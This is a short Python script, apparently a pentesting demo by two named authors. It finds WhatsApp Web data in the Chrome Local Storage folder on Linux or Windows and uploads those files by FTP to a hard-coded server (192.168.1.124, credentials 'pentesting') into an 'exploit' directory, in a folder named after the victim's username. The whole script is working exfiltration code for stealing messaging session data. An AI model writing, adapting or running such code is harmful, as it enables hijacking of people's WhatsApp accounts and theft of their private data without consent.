#coding:utf-8
#
# Versión 1.1
# Parisi Germán y Bertola Federico
#

from ftplib import FTP
from subprocess import Popen, PIPE
from datetime import datetime
import os 
import platform
import getpass

ftp_host = "192.168.1.124"
ftp_user = "pentesting"
ftp_password = "pentesting"
dir_exploit_server = "exploit"

user_dir = os.path.expanduser('~')
local_storage_by_os = {
    "windows": "%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Local Storage\\",
    "linux":"/.config/google-chrome/Default/Local Storage"
}

local_storage_dir = ""

if platform.system() in "Linux":
    local_storage_dir = user_dir + local_storage_by_os["linux"]
    print("Local storage en: %s" % local_storage_dir)

elif platform.system() in "Windows":
    local_storage_dir = user_dir + local_storage_by_os["windows"]
    print("Local storage en: %s" % local_storage_dir)

else:
    print("%s: Plataforma no soportada" % platform.system())
    exit()
files = []
for d in os.listdir(local_storage_dir):
    if "whatsapp" in d:
        files.append(d)

if len(files) > 0:
    name_dir = "%s_%s" % (getpass.getuser(),datetime.now().strftime("%H-%M-%S_%d-%m-%Y "))
    commands =  """
        open %s
        user %s %s
        cd %s
        mkdir %s
        cd %s
        """ % (ftp_host,ftp_user,ftp_password,dir_exploit_server,name_dir,name_dir)
    for f in files:
        absolute_path = "%s%s%s" % (local_storage_dir,os.sep, f)    
        commands +="""
            put %s %s
            """ % ('"' + absolute_path + '"', f)
    commands += """
        bye
    """        
    p = Popen(["ftp", "-n"], stdin=PIPE, stdout=PIPE, stderr=PIPE)
    out = p.communicate(input=commands.encode())
    print(out)

    print ("OK")

